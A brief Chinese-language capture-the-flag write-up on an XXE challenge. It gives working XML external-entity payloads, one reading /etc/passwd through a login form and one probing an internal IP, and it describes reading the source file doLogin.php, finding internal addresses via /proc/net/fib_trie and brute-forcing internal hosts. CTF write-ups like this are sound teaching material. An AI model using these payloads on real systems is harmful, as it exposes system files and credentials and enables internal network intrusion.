题目的提示很明显了,就是xxe攻击,直接抓包。
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<user><username>
&xxe;
</username><password>
1
</password></user>
尝试读取/etc/passwd,应该没过滤什么,也是直接读取。尝试读取一下根目录的flag,但是提示报错了。多半是没有这个文件。然后尝试读取doLogin.php文件,发现账号密码,虽然登录成功但是没什么用。。。又被晃了一下。
xxe漏洞有个点就是可以探针内网,所以首先要知道内网ip。这里可以读取三个文件。
/etc/hosts,/proc/net/arp,/proc/net/fib_trie
我这个读取前两个并未获取有效信息,第三个获得了一个ip地址
10.244.80.143
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://10.244.80.143" >
]>
<user><username>
&xxe;
</username><password>
1
</password></user>
enmmmmm,还是报错,那这就还有一种可能,flag并不在这一台内网主机上。发送爆破模块,将内网主机一一爆破
因为访问内网要很久而且不在固定主机上,所以,这里也是花了我20分钟才拿到flag。